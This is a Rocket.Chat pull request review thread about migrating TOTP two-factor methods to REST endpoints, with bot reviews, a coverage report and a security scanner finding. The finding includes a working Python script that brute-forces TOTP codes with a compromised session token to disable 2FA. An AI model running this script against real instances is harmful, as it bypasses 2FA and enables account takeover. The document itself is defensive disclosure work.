Learning: In Rocket.Chat, there are two different `ModalBackdrop` components with different prop APIs. During review, confirm the import source: (1) `rocket.chat/fuselage` `ModalBackdrop` uses `ModalBackdropProps` based on `BoxProps` (so it supports `onClick` and other Box/DOM props) and does not have an `onDismiss` prop; (2) `rocket.chat/ui-client` `ModalBackdrop` uses a narrower props interface like `{ children?: ReactNode; onDismiss?: () => void }` and handles Escape keypress and outside mouse-up, and it does not forward arbitrary DOM props such as `onClick`. Flag mismatched props (e.g., `onDismiss` passed to the fuselage component or `onClick` passed to the ui-client component) and ensure the usage matches the correct component being imported.

Applied to files:

  • apps/meteor/client/views/account/security/TwoFactorTOTP.tsx
📚 Learning: 2026-05-11T23:14:59.316Z
Learnt from: ricardogarim
Repo: RocketChat/Rocket.Chat PR: 40469
File: packages/rest-typings/src/v1/users.ts:337-337
Timestamp: 2026-05-11T23:14:59.316Z
Learning: In Rocket.Chat REST endpoint typings (e.g., packages/rest-typings/src/v1/users.ts and other rest-typings files), keep the established convention of deriving field types from the domain model (e.g., use IUser indexed access like IUser['statusExpiresAt']) rather than swapping individual fields to serialized primitives (like string) in an ad-hoc way. If a truly different “serialized” representation is needed, perform the refactor consistently across the codebase (not just a single endpoint/field) and ensure all related REST typings stay aligned with the shared serialization types.

Applied to files:

  • packages/rest-typings/src/v1/users.ts
🔇 Additional comments (12)
apps/meteor/client/views/account/security/TwoFactorTOTP.tsx (1)

3-3: LGTM!

Also applies to: 26-30, 74-81, 106-113, 127-134

.changeset/ddp-migrate-batch5-totp-caller.md (1)

1-6: LGTM!

.changeset/rest-users-totp.md (1)

1-15: LGTM!

packages/rest-typings/src/v1/users.ts (1)

383-401: LGTM!

apps/meteor/app/2fa/server/functions/totp.ts (2)

1-117: LGTM!

Also applies to: 144-154


137-141: 🎯 Functional Correctness

No user-change notification is needed here. Backup-code regeneration is consumed through /v1/users.totp.regenerateCodes, and the remaining-code count is fetched separately via /v1/users.totp.codesRemaining, so this path doesn’t need a notifyOnUserChange fanout.

			> Likely an incorrect or invalid review comment.
apps/meteor/app/api/server/v1/users.ts (1)

55-61: LGTM!

Also applies to: 2090-2225

apps/meteor/app/2fa/server/methods/enable.ts (1)

4-5: LGTM!

Also applies to: 16-17

apps/meteor/app/2fa/server/methods/disable.ts (1)

4-5: LGTM!

Also applies to: 16-17

apps/meteor/app/2fa/server/methods/validateTempToken.ts (1)

4-5: LGTM!

Also applies to: 16-18

apps/meteor/app/2fa/server/methods/regenerateCodes.ts (1)

4-5: LGTM!

Also applies to: 16-17

apps/meteor/app/2fa/server/methods/checkCodesRemaining.ts (1)

4-6: LGTM!

Also applies to: 16-17


Walkthrough

Extracts TOTP 2FA logic from five inline DDP method bodies into a new shared server module (totp.ts). Five REST endpoints under /v1/users.totp.* are registered and delegate to those shared functions. The DDP methods are retained with deprecation logging. The client TwoFactorTOTP component switches from useMethod to useEndpoint, and REST typings are added to UsersEndpoints.

Changes

TOTP DDP → REST Migration

Layer / File(s) Summary
REST type contracts
packages/rest-typings/src/v1/users.ts
UsersEndpoints extended with five TOTP routes: enable, disable, validate, regenerateCodes (POST), and codesRemaining (GET) with typed request/response shapes.
Shared TOTP server functions
apps/meteor/app/2fa/server/functions/totp.ts
New module implementing requireUser, enableTotp, disableTotp, validateTotpTempToken, regenerateTotpCodes, and codesRemainingTotp, consolidating all TOTP business logic previously inlined in DDP methods.
DDP methods delegating to shared functions
apps/meteor/app/2fa/server/methods/enable.ts, disable.ts, validateTempToken.ts, regenerateCodes.ts, checkCodesRemaining.ts
Each method's inline implementation replaced by a methodDeprecationLogger call and delegation to the corresponding shared TOTP function.
REST endpoint registration
apps/meteor/app/api/server/v1/users.ts
Five authenticated routes under users.totp.* registered with AJV schemas, delegating handlers to the shared TOTP functions.
Client migration to REST
apps/meteor/client/views/account/security/TwoFactorTOTP.tsx
useMethod replaced with useEndpoint for all five TOTP operations; call signatures updated to object payloads { code } and response field checks updated (disabled, codes).
Changesets
.changeset/ddp-migrate-batch5-totp-caller.md, .changeset/rest-users-totp.md
Patch and minor changeset entries documenting the migration and new endpoints.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~25 minutes

Suggested labels

type: chore

Suggested reviewers

  • tassoevan
🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly summarizes the main change: migrating 2FA TOTP DDP methods to the new REST endpoints.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@codecov

codecov Bot commented May 29, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 50.00000% with 5 lines in your changes missing coverage. Please review.
✅ Project coverage is 70.01%. Comparing base (275a6ed) to head (616b525).

Additional details and impacted files

Impacted file tree graph

@@             Coverage Diff             @@
##           develop   #40734      +/-   ##
===========================================
- Coverage    70.13%   70.01%   -0.13%     
===========================================
  Files         3368     3374       +6     
  Lines       130022   130179     +157     
  Branches     22582    22760     +178     
===========================================
- Hits         91191    91141      -50     
- Misses       35519    35708     +189     
- Partials      3312     3330      +18     
Flag Coverage Δ
unit 70.13% <ø> (+0.02%) ⬆️

Flags with carried forward coverage won't be shown. Click here to find out more.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@ggazzo ggazzo marked this pull request as ready for review June 29, 2026 14:51
@ggazzo ggazzo requested review from a team as code owners June 29, 2026 14:51

@cubic-dev-ai cubic-dev-ai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

3 issues found across 11 files

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name="apps/meteor/client/views/account/security/TwoFactorTOTP.tsx">

<violation number="1" location="apps/meteor/client/views/account/security/TwoFactorTOTP.tsx:129">
P2: Invalid regenerate-code attempts now reject through `catch` instead of returning a falsy result, so users get the raw endpoint error instead of `Invalid_two_factor_code`. Handle the REST `invalid-totp` failure explicitly or make the endpoint preserve the old return shape.</violation>
</file>

<file name="apps/meteor/app/api/server/v1/users.ts">

<violation number="1" location="apps/meteor/app/api/server/v1/users.ts:2090">
P2: Include the new TOTP route chain in the exported endpoint type extraction. Otherwise REST consumers do not get typings for these newly added endpoints despite the routes being registered.

(Based on your team's feedback about keeping API typings aligned with runtime endpoints.) [FEEDBACK_USED]</violation>
</file>

<file name="apps/meteor/app/2fa/server/functions/totp.ts">

<violation number="1" location="apps/meteor/app/2fa/server/functions/totp.ts:91">
P1: REST validation double-hashes the current auth token before excluding it from token revocation. Enabling TOTP via `/users.totp.validate` can revoke the caller’s own login token instead of only other non-PAT sessions.</violation>
</file>

Reply with feedback, questions, or to request a fix.

Re-trigger cubic

await Users.enable2FAAndSetSecretAndCodesByUserId(user._id, user.services.totp.tempSecret, hashedCodes);

if (authToken) {
const hashedToken = Accounts._hashLoginToken(authToken);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: REST validation double-hashes the current auth token before excluding it from token revocation. Enabling TOTP via /users.totp.validate can revoke the caller’s own login token instead of only other non-PAT sessions.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At apps/meteor/app/2fa/server/functions/totp.ts, line 91:

<comment>REST validation double-hashes the current auth token before excluding it from token revocation. Enabling TOTP via `/users.totp.validate` can revoke the caller’s own login token instead of only other non-PAT sessions.</comment>

<file context>
@@ -0,0 +1,154 @@
+	await Users.enable2FAAndSetSecretAndCodesByUserId(user._id, user.services.totp.tempSecret, hashedCodes);
+
+	if (authToken) {
+		const hashedToken = Accounts._hashLoginToken(authToken);
+
+		const { modifiedCount } = await Users.removeNonPATLoginTokensExcept(user._id, hashedToken);
</file context>

const onRegenerate = async (authCode: string): Promise<void> => {
try {
const result = await regenerateCodesFn(authCode);
const result = await regenerateCodesFn({ code: authCode });

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Invalid regenerate-code attempts now reject through catch instead of returning a falsy result, so users get the raw endpoint error instead of Invalid_two_factor_code. Handle the REST invalid-totp failure explicitly or make the endpoint preserve the old return shape.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At apps/meteor/client/views/account/security/TwoFactorTOTP.tsx, line 129:

<comment>Invalid regenerate-code attempts now reject through `catch` instead of returning a falsy result, so users get the raw endpoint error instead of `Invalid_two_factor_code`. Handle the REST `invalid-totp` failure explicitly or make the endpoint preserve the old return shape.</comment>

<file context>
@@ -126,9 +126,9 @@ const TwoFactorTOTP = (props: TwoFactorTOTPProps) => {
 		const onRegenerate = async (authCode: string): Promise<void> => {
 			try {
-				const result = await regenerateCodesFn(authCode);
+				const result = await regenerateCodesFn({ code: authCode });
 
-				if (!result) {
</file context>

@@ -52,6 +52,13 @@ import { sendForgotPasswordEmail } from '../../../../server/methods/sendForgotPa
import { executeSetUserActiveStatus } from '../../../../server/methods/setUserActiveStatus';

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Include the new TOTP route chain in the exported endpoint type extraction. Otherwise REST consumers do not get typings for these newly added endpoints despite the routes being registered.

(Based on your team's feedback about keeping API typings aligned with runtime endpoints.)

View Feedback

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At apps/meteor/app/api/server/v1/users.ts, line 2090:

<comment>Include the new TOTP route chain in the exported endpoint type extraction. Otherwise REST consumers do not get typings for these newly added endpoints despite the routes being registered.

(Based on your team's feedback about keeping API typings aligned with runtime endpoints.) </comment>

<file context>
@@ -2080,6 +2087,143 @@ API.v1
 		},
 	);
 
+API.v1
+	.post(
+		'users.totp.enable',
</file context>

@hacktron-app hacktron-app Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 issue found across 1 file

Severity Count
HIGH 1

View full scan results

Comment on lines +2222 to +2224
async function action() {
return API.v1.success(await codesRemainingTotp(this.userId));
},

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

HIGH Missing Rate Limiting on TOTP REST Endpoints Allows 2FA Bypass via Brute-Force

The REST API endpoints for managing TOTP 2FA (users.totp.disable, users.totp.validate, and users.totp.regenerateCodes) do not define rateLimiterOptions. While the APIClass does enforce a default rate limit for endpoints without explicit rateLimiterOptions (if the global rate limiter is enabled), this default limit (API_Enable_Rate_Limiter_Limit_Calls_Default and API_Enable_Rate_Limiter_Limit_Time_Default) is often too generous for sensitive authentication operations like TOTP code verification.

More critically, the underlying TOTPCheck implementation (./Rocket.Chat/apps/meteor/app/2fa/server/code/TOTPCheck.ts) explicitly returns false for maxFaildedAttemtpsReached, meaning there is no stateful lockout or brute-force protection at the sink level for TOTP codes (unlike email codes, which increment an invalid attempt counter).

Because the default API rate limit is not tuned for brute-force protection of a 6-digit space and there is no sink-level lockout, an attacker who has compromised a user's session can rapidly submit TOTP codes to disable 2FA or regenerate backup codes. If the default rate limit is disabled or bypassed (e.g., via the api-bypass-rate-limit permission or TEST_MODE), the endpoints are completely unprotected. Once 2FA is disabled, the attacker can perform critical actions like changing the password or email, leading to full account takeover.

Steps to Reproduce
import requests
import concurrent.futures

url = "https://your-rocket-chat-instance.com/api/v1/users.totp.disable"
headers = {
    "X-Auth-Token": "compromised_session_token",
    "X-User-Id": "compromised_user_id",
    "Content-Type": "application/json"
}

def try_code(code):
    payload = {"code": f"{code:06d}"}
    response = requests.post(url, json=payload, headers=headers)
    if response.status_code == 200 and response.json().get("disabled"):
        print(f"[+] Success! 2FA disabled with code: {code:06d}")
        return True
    return False

# Brute-force the 6-digit space
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    executor.map(try_code, range(1000000))
Trace
graph TD
    subgraph SG0 ["apps/meteor/app/2fa/server/code/EmailCheck.ts"]
        EmailCheck.getUserVerifiedEmails["Filters user emails to return only those that are verified."]
        EmailCheck.send2FAEmail["Sends a 2FA code via email to the user."]
        EmailCheck.sendEmailCode["Generates and sends an email 2FA code to the user."]
    end
    style SG0 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG1 ["apps/meteor/app/2fa/server/code/index.ts"]
        getUserForCheck["Retrieves user data required for 2FA checks."]
    end
    style SG1 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG2 ["apps/meteor/app/2fa/server/functions/resetTOTP.ts"]
        sendResetNotification_2["sendResetNotification"]
        resetTOTP["resetTOTP"]
    end
    style SG2 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG3 ["apps/meteor/app/2fa/server/functions/totp.ts"]
        requireUser["Helper to ensure a user exists and is authorized."]
        enableTotp["Enables TOTP for a user by generating a new secret."]
        disableTotp["Disables TOTP for a user after verifying the provided code."]
        validateTotpTempToken["Validates a temporary TOTP token and enables TOTP for the user."]
        regenerateTotpCodes["Regenerates TOTP backup codes for a user."]
        codesRemainingTotp["Returns the number of remaining TOTP backup codes for a user."]
    end
    style SG3 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG4 ["apps/meteor/app/2fa/server/lib/totp.ts"]
        TOTP.generateSecret["Generates a new TOTP secret."]
        TOTP.generateOtpauthURL["Generates the OTPauth URL for a user."]
        TOTP.verify["Verifies a TOTP token or backup code."]
        TOTP.generateCodes["Generates 12 backup codes for TOTP."]
    end
    style SG4 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG5 ["apps/meteor/app/api/server/ApiClass.ts"]
        APIClass.success["Helper method to format successful API responses."]
        APIClass.failure["Helper method to format failed API responses with error details."]
        APIClass.forbidden["Helper method for returning 403 Forbidden responses."]
        APIClass.this.parseJsonQuery["Parses JSON query parameters for API requests."]
    end
    style SG5 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG6 ["apps/meteor/app/api/server/helpers/getPaginationItems.ts"]
        getPaginationItems["Validates and sanitizes pagination query parameters."]
    end
    style SG6 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG7 ["apps/meteor/app/api/server/helpers/getUserFromParams.ts"]
        getUserFromParams["Resolves a user object from request parameters."]
    end
    style SG7 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG8 ["apps/meteor/app/api/server/helpers/getUserInfo.ts"]
        isVerifiedEmail["Checks if a user has a verified email."]
        getUserPreferences["Fetches user-specific preferences from settings."]
        filterOutdatedVersionUpdateBanners["Filters banners based on outdated version updates."]
        getUserCalendar["Fetches user calendar settings based on email domain."]
        getUserInfo["Formats user information for API response."]
    end
    style SG8 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG9 ["apps/meteor/app/api/server/helpers/isUserFromParams.ts"]
        isUserFromParams["isUserFromParams"]
    end
    style SG9 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG10 ["apps/meteor/app/api/server/lib/eraseTeam.ts"]
        eraseRoomLooseValidation["eraseRoomLooseValidation"]
    end
    style SG10 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG11 ["apps/meteor/app/api/server/lib/getUploadFormData.ts"]
        getUploadFormData["getUploadFormData"]
    end
    style SG11 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG12 ["apps/meteor/app/api/server/lib/isValidQuery.ts"]
        ._Rocket.Chat_apps_meteor_app_api_server_lib_isValidQuery.ts["Validates API queries against allowed attributes and operations."]
    end
    style SG12 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG13 ["apps/meteor/app/api/server/lib/users.ts"]
        findUsersToAutocomplete["findUsersToAutocomplete"]
        getInclusiveFields["Extracts inclusive fields from a query object."]
        getNonEmptyFields["Returns default fields if input fields are empty."]
        getNonEmptyQuery["Returns default query if input query is empty."]
        findPaginatedUsersByStatus["findPaginatedUsersByStatus"]
    end
    style SG13 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG14 ["apps/meteor/app/api/server/v1/users.ts"]
        get["Action handler for listing users."]
        action{{"Action handler for user-related operations."}}
    end
    style SG14 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG15 ["apps/meteor/app/authentication/server/startup/index.js"]
        Accounts.insertUserDoc["Accounts.insertUserDoc"]
    end
    style SG15 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG16 ["apps/meteor/app/authorization/server/functions/hasPermission.ts"]
        hasPermissionAsync["Checks if a user has a specific permission."]
    end
    style SG16 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG17 ["apps/meteor/app/authorization/server/index.ts"]
        ._Rocket.Chat_apps_meteor_app_authorization_server_index.ts["./Rocket.Chat/apps/meteor/app/authorization/server/index.ts"]
    end
    style SG17 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG18 ["apps/meteor/app/file-upload/server/lib/FileUpload.ts"]
        FileUpload.getStore["FileUpload.getStore"]
        FileUpload.getStoreByName["FileUpload.getStoreByName"]
        FileUpload.get["FileUpload.get"]
        FileUpload.removeFilesByRoomId["FileUpload.removeFilesByRoomId"]
    end
    style SG18 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG19 ["apps/meteor/app/file/server/file.server.ts"]
        RocketChatFile.dataURIParse["RocketChatFile.dataURIParse"]
    end
    style SG19 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG20 ["apps/meteor/app/invites/server/functions/validateInviteToken.ts"]
        validateInviteToken["validateInviteToken"]
    end
    style SG20 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG21 ["apps/meteor/app/lib/server/functions/addUserToDefaultChannels.ts"]
        addUserToDefaultChannels["addUserToDefaultChannels"]
    end
    style SG21 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG22 ["apps/meteor/app/lib/server/functions/addUserToRoom.ts"]
        addUserToRoom["addUserToRoom"]
    end
    style SG22 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG23 ["apps/meteor/app/lib/server/functions/checkEmailAvailability.ts"]
        checkEmailAvailability["checkEmailAvailability"]
    end
    style SG23 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG24 ["apps/meteor/app/lib/server/functions/checkUsernameAvailability.ts"]
        toRegExp["toRegExp"]
        usernameIsBlocked["usernameIsBlocked"]
        checkUsernameAvailabilityWithValidation["checkUsernameAvailabilityWithValidation"]
        checkUsernameAvailability["checkUsernameAvailability"]
    end
    style SG24 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG25 ["apps/meteor/app/lib/server/functions/deleteUser.ts"]
        deleteUser["deleteUser"]
    end
    style SG25 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG26 ["apps/meteor/app/lib/server/functions/getAvatarSuggestionForUser.ts"]
        getAvatarSuggestionForUser["getAvatarSuggestionForUser"]
    end
    style SG26 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG27 ["apps/meteor/app/lib/server/functions/getDefaultChannels.ts"]
        getDefaultChannels["getDefaultChannels"]
    end
    style SG27 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG28 ["apps/meteor/app/lib/server/functions/getFullUserData.ts"]
        getCustomFields["getCustomFields"]
        getFields["getFields"]
        findTargetUser["findTargetUser"]
        getFullUserDataByUniqueSearchTerm["getFullUserDataByUniqueSearchTerm"]
    end
    style SG28 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG29 ["apps/meteor/app/lib/server/functions/getRoomsWithSingleOwner.ts"]
        shouldRemoveOrChangeOwner["shouldRemoveOrChangeOwner"]
        getSubscribedRoomsForUserWithDetails["getSubscribedRoomsForUserWithDetails"]
    end
    style SG29 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG30 ["apps/meteor/app/lib/server/functions/getUserSingleOwnedRooms.ts"]
        getUserSingleOwnedRooms["getUserSingleOwnedRooms"]
    end
    style SG30 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG31 ["apps/meteor/app/lib/server/functions/getUsernameSuggestion.ts"]
        slug["slug"]
        usernameIsAvailable["usernameIsAvailable"]
        name["name"]
        generateUsernameSuggestion["generateUsernameSuggestion"]
    end
    style SG31 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG32 ["apps/meteor/app/lib/server/functions/joinDefaultChannels.ts"]
        joinDefaultChannels["joinDefaultChannels"]
    end
    style SG32 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG33 ["apps/meteor/app/lib/server/functions/relinquishRoomOwnerships.ts"]
        bulkTeamCleanup["bulkTeamCleanup"]
        bulkRoomCleanUp["bulkRoomCleanUp"]
        relinquishRoomOwnerships["relinquishRoomOwnerships"]
    end
    style SG33 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG34 ["apps/meteor/app/lib/server/functions/saveCustomFields.ts"]
        saveCustomFields["saveCustomFields"]
    end
    style SG34 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG35 ["apps/meteor/app/lib/server/functions/saveCustomFieldsWithoutValidation.ts"]
        getCustomFieldsMeta["getCustomFieldsMeta"]
        saveCustomFieldsWithoutValidation["saveCustomFieldsWithoutValidation"]
    end
    style SG35 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG36 ["apps/meteor/app/lib/server/functions/saveUser/index.ts"]
        ._Rocket.Chat_apps_meteor_app_lib_server_functions_saveUser_index.ts["./Rocket.Chat/apps/meteor/app/lib/server/functions/saveUser/index.ts"]
    end
    style SG36 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG37 ["apps/meteor/app/lib/server/functions/saveUser/sendUserEmail.ts"]
        sendUserEmail["sendUserEmail"]
        sendWelcomeEmail["sendWelcomeEmail"]
    end
    style SG37 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG38 ["apps/meteor/app/lib/server/functions/saveUser/validateUserEditing.ts"]
        canEditExtension["canEditExtension"]
    end
    style SG38 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG39 ["apps/meteor/app/lib/server/functions/saveUserIdentity.ts"]
        saveUserIdentity["saveUserIdentity"]
        updateUsernameReferences["updateUsernameReferences"]
    end
    style SG39 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG40 ["apps/meteor/app/lib/server/functions/setRealName.ts"]
        setRealName["setRealName"]
    end
    style SG40 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG41 ["apps/meteor/app/lib/server/functions/setUserAvatar.ts"]
        setAvatarFromServiceWithValidation["setAvatarFromServiceWithValidation"]
        setUserAvatar["setUserAvatar"]
    end
    style SG41 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG42 ["apps/meteor/app/lib/server/functions/setUsername.ts"]
        isUserInFederatedRooms["isUserInFederatedRooms"]
        setUsernameWithValidation["setUsernameWithValidation"]
        setUsername["_setUsername"]
    end
    style SG42 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG43 ["apps/meteor/app/lib/server/functions/updateGroupDMsName.ts"]
        getFname["getFname"]
        getName["getName"]
        getUsersWhoAreInTheSameGroupDMsAs["getUsersWhoAreInTheSameGroupDMsAs"]
        updateGroupDMsName["updateGroupDMsName"]
        getMembers["getMembers"]
    end
    style SG43 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG44 ["apps/meteor/app/lib/server/functions/validateCustomFields.js"]
        validateCustomFields["validateCustomFields"]
    end
    style SG44 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG45 ["apps/meteor/app/lib/server/functions/validateName.ts"]
        validateName["validateName"]
    end
    style SG45 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG46 ["apps/meteor/app/lib/server/functions/validateNameChars.ts"]
        validateNameChars["validateNameChars"]
    end
    style SG46 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG47 ["apps/meteor/app/lib/server/functions/validateUsername.ts"]
        validateUsername["validateUsername"]
    end
    style SG47 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG48 ["apps/meteor/app/lib/server/index.ts"]
        ._Rocket.Chat_apps_meteor_app_lib_server_index.ts["./Rocket.Chat/apps/meteor/app/lib/server/index.ts"]
    end
    style SG48 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG49 ["apps/meteor/app/lib/server/lib/deprecationWarningLogger.ts"]
        compareVersions["Compares versions and potentially throws errors for deprecated usage."]
        method["Logs and writes headers for deprecated method usage."]
        warn["Logs a deprecation warning."]
    end
    style SG49 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG50 ["apps/meteor/app/lib/server/lib/notifyListener.ts"]
        notifyOnRoomChangedById["notifyOnRoomChangedById"]
        notifyOnRoomChangedByUsernamesOrUids["notifyOnRoomChangedByUsernamesOrUids"]
        notifyOnIntegrationChangedByUserId["notifyOnIntegrationChangedByUserId"]
        notifyOnLivechatDepartmentAgentChanged["notifyOnLivechatDepartmentAgentChanged"]
        notifyOnSettingChangedById["notifyOnSettingChangedById"]
        notifyOnUserChange["Broadcasts a notification about user changes."]
        notifyOnUserChangeAsync["Async wrapper for user change notifications."]
        notifyOnSubscriptionChanged["notifyOnSubscriptionChanged"]
        notifyOnSubscriptionChangedByRoomIdAndUserId["notifyOnSubscriptionChangedByRoomIdAndUserId"]
        notifyOnSubscriptionChangedById["notifyOnSubscriptionChangedById"]
        notifyOnSubscriptionChangedByUserPreferences["notifyOnSubscriptionChangedByUserPreferences"]
        notifyOnSubscriptionChangedByRoomId["notifyOnSubscriptionChangedByRoomId"]
        notifyOnSubscriptionChangedByAutoTranslateAndUserId["notifyOnSubscriptionChangedByAutoTranslateAndUserId"]
        notifyOnSubscriptionChangedByUserIdAndRoomType["notifyOnSubscriptionChangedByUserIdAndRoomType"]
        notifyOnSubscriptionChangedByNameAndRoomType["notifyOnSubscriptionChangedByNameAndRoomType"]
        notifyOnSubscriptionChangedByUserId["notifyOnSubscriptionChangedByUserId"]
    end
    style SG50 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG51 ["apps/meteor/app/lib/server/methods/createToken.ts"]
        generateAccessToken["generateAccessToken"]
    end
    style SG51 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG52 ["apps/meteor/app/lib/server/methods/deleteUserOwnAccount.ts"]
        deleteUserOwnAccount["deleteUserOwnAccount"]
    end
    style SG52 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG53 ["apps/meteor/app/mailer/server/api.ts"]
        replace["Replaces variables in a string with provided data."]
        wrap["Wraps HTML content with email headers and footers."]
        sendNoWrap["Sends an email without wrapping."]
        send["Sends a formatted email."]
    end
    style SG53 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG54 ["apps/meteor/app/settings/server/CachedSettings.ts"]
        CachedSettings.has["Checks if a setting exists in the cached store."]
        CachedSettings.getSetting["CachedSettings.getSetting"]
        CachedSettings.get["Retrieves the value of a setting from the cache."]
        CachedSettings.getByRegexp["Retrieves multiple setting values matching a regular expression."]
        CachedSettings.set["Updates a setting in the cache and emits a change event."]
    end
    style SG54 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG55 ["apps/meteor/app/settings/server/SettingsRegistry.ts"]
        SettingsRegistry.add["SettingsRegistry.add"]
        SettingsRegistry.saveUpdatedSetting["SettingsRegistry.saveUpdatedSetting"]
    end
    style SG55 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG56 ["apps/meteor/app/settings/server/functions/getSettingDefaults.ts"]
        getSettingDefaults["getSettingDefaults"]
    end
    style SG56 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG57 ["apps/meteor/app/settings/server/functions/validateSetting.ts"]
        validateSetting["validateSetting"]
    end
    style SG57 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG58 ["apps/meteor/app/utils/lib/getDefaultSubscriptionPref.ts"]
        getDefaultSubscriptionPref["getDefaultSubscriptionPref"]
    end
    style SG58 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG59 ["apps/meteor/app/utils/lib/getURL.ts"]
        getURLWithoutSettings["Wrapper for _getURL that accepts explicit configuration instead of reading from settings."]
    end
    style SG59 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG60 ["apps/meteor/app/utils/lib/mimeTypes.ts"]
        getMimeTypeFromFileName["getMimeTypeFromFileName"]
        getMimeType["getMimeType"]
    end
    style SG60 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG61 ["apps/meteor/app/utils/server/functions/isSMTPConfigured.ts"]
        isSMTPConfigured["isSMTPConfigured"]
    end
    style SG61 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG62 ["apps/meteor/app/utils/server/getURL.ts"]
        getURL["Server-side utility to resolve a URL path using current application settings."]
    end
    style SG62 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG63 ["apps/meteor/app/utils/server/lib/getUserPreference.ts"]
        getUserPreference["Retrieves a specific user preference, falling back to system defaults if not set."]
    end
    style SG63 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG64 ["apps/meteor/client/meteor/overrides/userAndUsers.ts"]
        Meteor.userId["Override for Meteor.userId to bridge with internal user state storage."]
    end
    style SG64 fill:#2a2a2a,stroke:#444,color:#aaa
